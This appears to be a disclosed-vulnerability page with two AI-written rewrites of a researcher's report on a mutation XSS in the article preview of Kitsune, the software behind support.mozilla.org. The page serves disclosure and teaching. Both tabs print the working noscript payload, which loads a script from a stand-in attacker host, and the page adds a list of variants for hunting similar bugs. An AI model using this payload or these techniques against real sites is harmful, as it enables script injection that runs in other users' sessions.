Skip to content
XSS Write-up Intermediate

mXSS in support.mozilla.org

The article preview feature in Kitsune (support.mozilla.org) allowed a subset of HTML tags that, when rendered via jQuery's html function, could be mutated into executable JavaScript. An attacker could craft a payload that bypasses the parser's allow-list and executes arbitrary JavaScript in the context of the site.

Guilherme Keerok Follow

Published on gccybermonks.com

This is another bug that was discovered during @duphouse, and was the result of a collaboration with @lbherrera.

Guilherme Keerok (@k33r0k), Luan Herrera (@lbherrera_), on gccybermonks.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

Kitsune is the open-source software that runs SUMO, the support site at support.mozilla.org, which provides support for Firefox and other Mozilla software. It works similarly to a wiki: users can create, read and edit articles. This finding came out of work done during @duphouse and was a collaboration with @lbherrera.

The feature that drew attention was the article preview. Before submitting changes to an article, a user can preview them, and the preview renders a small subset of HTML tags inside the page.

Setup

The work was done against Kitsune, the code for which is public on GitHub. The relevant client-side file is /kitsune/sumo/static/sumo/js/ajaxpreview.js, and the analysis below refers to commit [redacted] of that file. No special account, role or tooling beyond access to the preview feature and the source code is described.

Finding it

The initial assumption was that a bypass of bleach would be required. Bleach is an allow-list-based HTML sanitising library maintained by Mozilla and commonly used in Mozilla services. Reading Kitsune's source code showed that this was not the path: the preview flow did not depend on bleach in the way expected.

Excerpt from /kitsune/sumo/static/sumo/js/ajaxpreview.js

Three points in that code explain how the feature works:

  1. Line 43 triggers the get-preview bind when the user clicks the preview button.
  2. Line 59 makes a POST request to previewUrl, sending the content being previewed in the body, and then triggers the show-preview bind with the response.
  3. Line 70 renders the response inside an element through jQuery's html function, which is generally unsafe.

A quick lookup in the source showed where previewUrl pointed and what was done with the response.

Following that trail led to Kitsune's parser and its list of allowed HTML tags. The allowed attributes list did not contain anything interesting, but the tag list did contain tags usable for an mXSS attack.

Python
>>> from wikimarkup.parser import ALLOWED_TAGS
>>> ALLOWED_TAGS
['br', 'hr', 'img', 'source', 'b', 'del', 'i', 'ins', 'u', 'font', 'big', 'small', 'sub', 'sup', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'cite', 'code', 'em', 's', 'strike', 'strong', 'tt', 'var', 'div', 'center', 'blockquote', 'ol', 'ul', 'dl', 'table', 'caption', 'pre', 'p', 'span', 'u', 'li', 'dd', 'dt', 'video', 'section', 'noscript', 'table', 'tr', 'td', 'th', 'div', 'blockquote', 'ol', 'ul', 'dl', 'font', 'big', 'small', 'sub', 'sup', 'span', 'img', 'tbody', 'thead', 'tfoot', 'colgroup', 'col', 'section', 'a']

The list includes noscript, which is the tag that matters for mutation XSS: the parser's view of the markup and the browser's view after re-serialisation can differ.

Exploitation

Step 1: find a payload the parser accepts

With the tag list in hand, the remaining work was to play with tags and attributes until a payload was allowed by Kitsune's parser but, when rendered through jQuery's html function, would be mutated and execute arbitrary JavaScript.

The final payload used was:

Text
<noscript><noscript alt="<img><script src="//attacker。com/alert.js"

The parser accepts it because the tags involved are on the allow-list.

Step 2: observe execution

PoC video:

Or watch on YouTube
YouTube Video From the original on gccybermonks.com

Root cause

The client then takes the response and inserts it into the page with jQuery's html function, which re-parses the markup in the browser. Mutation XSS exploits exactly this gap: markup that is benign under one parser becomes active markup under another, so an allow-list check performed before the mutation does not protect the final render.

The use of jQuery's html function for the response is the second half of the problem, since it is the point where the mutated markup is interpreted as HTML.

Impact

The result is arbitrary JavaScript execution. The report does not describe which users or roles could be targeted beyond the preview flow itself, nor does it give a stored or reflected classification. It notes that the vulnerability was ineligible for Mozilla's bug bounty programme because the domain is not part of their scope, but that it was an interesting finding regardless.

Fix

The changes made by Mozilla to fix the issue are in commit [redacted]. The report does not describe the individual changes in that commit.

Variants to test

  1. Look for preview or live-render features that sanitise on the server and then insert the result with innerHTML or jQuery's html. A positive result is markup that passes the server-side allow-list but produces a different DOM after insertion, for example a noscript or template element whose contents become live nodes.
  2. Enumerate the server-side allow-list and check for tags whose parsing depends on scripting context, such as noscript, template, svg and math. A positive result is one of those tags being accepted and surviving into the rendered preview.
  3. Compare the serialised output of the server-side parser with the DOM produced by the browser for the same input. A positive result is any structural difference between the two, which is the precondition for mutation XSS.
  4. Test attribute values that contain markup, as in the payload above. A positive result is an attribute whose value is re-interpreted as elements after the second parse.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

What happened, in plain words

Mozilla runs a support website at support.mozilla.org, where people go to read help articles about Firefox and other Mozilla software. The software behind that site is called Kitsune, and it is open source, meaning anyone can read its code on GitHub. Kitsune works like a wiki: users can create, read and edit articles.

One feature of the editor lets you preview your changes before you save them. When you click preview, the text you typed is sent to the server, and the server sends back a version with some formatting applied, which the page then displays. The researchers Guilherme Keerok and Luan Herrera, collaborating with @duphouse, looked at this preview feature and found a way to make it run JavaScript code of their choosing. That kind of flaw is called cross-site scripting, or XSS for short.

The trick relied on a subtle disagreement between two programs that both read the same piece of text: the server's parser (the part that reads the text and decides which HTML tags are allowed) and the browser's parser (the part that turns the text into the page you see). This mismatch is called mutation XSS, or mXSS.

The finding was not eligible for their bug bounty programme, because the domain involved is not in their scope. A bug bounty is a scheme where companies pay people for reporting security problems; scope is the list of systems the scheme covers.

Background: the site and the feature

Kitsune is the open-source software that runs SUMO, the support site at support.mozilla.org, which provides support for Firefox and other Mozilla software. It works similarly to a wiki: users can create, read and edit articles.

The feature that drew attention was the article preview. Before submitting changes to an article, a user can preview them, and the preview renders a small subset of HTML tags inside the page.

HTML is the language web pages are written in. It is made of tags, which are instructions in angle brackets such as <b> for bold or <img> for an image. A subset of tags means only some of them are allowed; the rest are stripped out or shown as plain text.

Setting up

The work was done against Kitsune, the code for which is public on GitHub. The relevant client-side file is /kitsune/sumo/static/sumo/js/ajaxpreview.js, and the analysis below refers to commit [redacted] of that file. No special account, role or tooling beyond access to the preview feature and the source code is described.

A few terms here. Client-side means code that runs in your own browser, as opposed to server-side code that runs on the website's computers. A commit is a saved snapshot of a code project; the long string of letters and numbers is its unique identifier, so anyone can look at exactly the same version of the file. Reading the source code is like reading the recipe of a dish instead of only tasting it: you can see exactly how the site decides what to allow.

Finding it

The initial assumption was that a bypass of bleach would be required. Bleach is an allow-list-based HTML sanitising library maintained by Mozilla and commonly used in Mozilla services. Reading Kitsune's source code showed that this was not the path: the preview flow did not depend on bleach in the way expected.

A sanitising library is a piece of software whose job is to clean HTML: it removes anything dangerous and keeps only what is on an allow-list, which is a list of things that are permitted (the opposite of a block-list, which lists things that are forbidden). A bypass means finding an input that gets past that cleaning. The researchers expected to have to defeat bleach, but the code showed the preview did not work the way they assumed, so they followed the actual code instead.

Excerpt from /kitsune/sumo/static/sumo/js/ajaxpreview.js

Three points in that code explain how the feature works:

  1. Line 43 triggers the get-preview bind when the user clicks the preview button.
  2. Line 59 makes a POST request to previewUrl, sending the content being previewed in the body, and then triggers the show-preview bind with the response.
  3. Line 70 renders the response inside an element through jQuery's html function, which is generally unsafe.

In plain words: a bind is a connection between an event (such as a click) and the code that should run when it happens. A POST request is one of the ways a browser talks to a server: it sends data to an address, here the one stored in a variable called previewUrl, with the content you are previewing in the body, which is the part of the request that carries the data. The server answers with the processed content, and line 70 puts that answer into the page. jQuery is a widely used JavaScript library, a collection of ready-made helpers; its html function takes a piece of text and asks the browser to interpret it as HTML. That is generally unsafe because if the text contains something malicious, the browser will happily treat it as real markup.

A quick lookup in the source showed where previewUrl pointed and what was done with the response.

Following that trail led to Kitsune's parser and its list of allowed HTML tags. The allowed attributes list did not contain anything interesting, but the tag list did contain tags usable for an mXSS attack.

An attribute is extra information inside a tag, such as the address in an image tag. The researchers checked both which tags and which attributes were allowed; the attributes offered nothing useful, but the tags did.

Python
>>> from wikimarkup.parser import ALLOWED_TAGS
>>> ALLOWED_TAGS
['br', 'hr', 'img', 'source', 'b', 'del', 'i', 'ins', 'u', 'font', 'big', 'small', 'sub', 'sup', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'cite', 'code', 'em', 's', 'strike', 'strong', 'tt', 'var', 'div', 'center', 'blockquote', 'ol', 'ul', 'dl', 'table', 'caption', 'pre', 'p', 'span', 'u', 'li', 'dd', 'dt', 'video', 'section', 'noscript', 'table', 'tr', 'td', 'th', 'div', 'blockquote', 'ol', 'ul', 'dl', 'font', 'big', 'small', 'sub', 'sup', 'span', 'img', 'tbody', 'thead', 'tfoot', 'colgroup', 'col', 'section', 'a']

This is a short interactive Python session. The first line imports ALLOWED_TAGS from the wikimarkup parser, which is the component that reads the wiki-style text. The second line asks Python to show the value of that variable, and the third line is the answer: the list of tags the parser accepts. Python is a programming language; the >>> marks lines you type, and the line without it is the program's reply.

The list includes noscript, which is the tag that matters for mutation XSS: the parser's view of the markup and the browser's view after re-serialisation can differ.

The noscript tag means "show this content only if scripting is disabled". Because the server's parser and the browser can disagree about what is inside a noscript element, the same text can mean different things to each of them. Re-serialisation means turning the parsed structure back into text, which is what happens when one program hands markup to another.

Exploitation

Step 1: find a payload the parser accepts

With the tag list in hand, the remaining work was to play with tags and attributes until a payload was allowed by Kitsune's parser but, when rendered through jQuery's html function, would be mutated and execute arbitrary JavaScript.

A payload is the piece of input an attacker crafts to trigger the flaw. JavaScript is the programming language browsers run; executing arbitrary JavaScript means making the browser run code the attacker wrote, which in a browser context can do things on behalf of the page.

The final payload used was:

Text
<noscript><noscript alt="<img><script src="//attacker。com/alert.js"

The parser accepts it because the tags involved are on the allow-list.

The address in the payload contains a full-width character where a dot would normally be, exactly as written in the report.

Step 2: observe execution

PoC video:

Or watch on YouTube
YouTube Video From the original on gccybermonks.com

PoC stands for proof of concept: a demonstration that the problem is real.

Root cause

The client then takes the response and inserts it into the page with jQuery's html function, which re-parses the markup in the browser. Mutation XSS exploits exactly this gap: markup that is benign under one parser becomes active markup under another, so an allow-list check performed before the mutation does not protect the final render.

The use of jQuery's html function for the response is the second half of the problem, since it is the point where the mutated markup is interpreted as HTML.

A simple comparison: imagine two people reading the same sentence with different ideas about where one word ends and the next begins. The first reader checks the sentence and finds nothing wrong. The second reader, reading it their own way, finds an instruction hidden in it. The check was real, but it was performed by the wrong reader.

Impact

The result is arbitrary JavaScript execution. The report does not describe which users or roles could be targeted beyond the preview flow itself, nor does it give a stored or reflected classification. It notes that the vulnerability was ineligible for Mozilla's bug bounty programme because the domain is not part of their scope, but that it was an interesting finding regardless.

Stored and reflected are the two usual categories of XSS: stored means the malicious content is saved on the server and shown to later visitors, reflected means it comes back in the immediate response. The report does not say which applies here.

Fix

The changes made by Mozilla to fix the issue are in commit [redacted].

Variants to test

  1. Look for preview or live-render features that sanitise on the server and then insert the result with innerHTML or jQuery's html. A positive result is markup that passes the server-side allow-list but produces a different DOM after insertion, for example a noscript or template element whose contents become live nodes.
  2. Enumerate the server-side allow-list and check for tags whose parsing depends on scripting context, such as noscript, template, svg and math. A positive result is one of those tags being accepted and surviving into the rendered preview.
  3. Compare the serialised output of the server-side parser with the DOM produced by the browser for the same input. A positive result is any structural difference between the two, which is the precondition for mutation XSS.
  4. Test attribute values that contain markup, as in the payload above. A positive result is an attribute whose value is re-interpreted as elements after the second parse.

innerHTML is the browser property that sets the HTML inside an element, the native equivalent of jQuery's html. The DOM, short for Document Object Model, is the browser's internal tree of the page: elements, their attributes and their text. Enumerating an allow-list means listing every entry in it. template, svg and math are other tags whose contents browsers parse in special ways.

Glossary

  • Allow-list: a list of things that are permitted; anything not on it is rejected.
  • Attribute: extra information written inside an HTML tag, such as the address of an image.
  • Bind: a connection in code between an event, such as a click, and the code that runs when it happens.
  • Bleach: an allow-list-based HTML sanitising library maintained by Mozilla.
  • Bug bounty: a scheme where organisations pay people for reporting security problems.
  • Bypass: an input that gets past a protection such as a sanitiser.
  • Client-side: code that runs in the user's own browser.
  • Commit: a saved snapshot of a code project, identified by a unique string.
  • DOM (Document Object Model): the browser's internal tree of elements, attributes and text that makes up a page.
  • HTML: the language web pages are written in, made of tags in angle brackets.
  • innerHTML: the browser property that sets the HTML content of an element.
  • JavaScript: the programming language that browsers run.
  • jQuery: a widely used JavaScript library of helpers; its html function interprets text as HTML.
  • Kitsune: the open-source software that runs support.mozilla.org.
  • mXSS (mutation XSS): XSS that arises because two parsers read the same markup differently, so benign markup becomes active after re-parsing.
  • Parser: the part of a program that reads text and works out its structure.
  • Payload: the crafted input used to trigger a vulnerability.
  • PoC (proof of concept): a demonstration that a problem is real.
  • POST request: a way for a browser to send data to a server address, with the data in the body.
  • Re-serialisation: turning a parsed structure back into text.
  • Reflected XSS: XSS where the malicious content comes back in the immediate response.
  • Sanitiser: software that cleans HTML by removing anything not on an allow-list.
  • Scope: the list of systems a bug bounty scheme covers.
  • Server-side: code that runs on the website's own computers.
  • Stored XSS: XSS where the malicious content is saved on the server and shown to later visitors.
  • SUMO: the support site at support.mozilla.org.
  • Tag: an instruction in HTML written in angle brackets, such as <b> or <img>.
  • XSS (cross-site scripting): a flaw that lets an attacker's JavaScript run in a page the victim is viewing.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.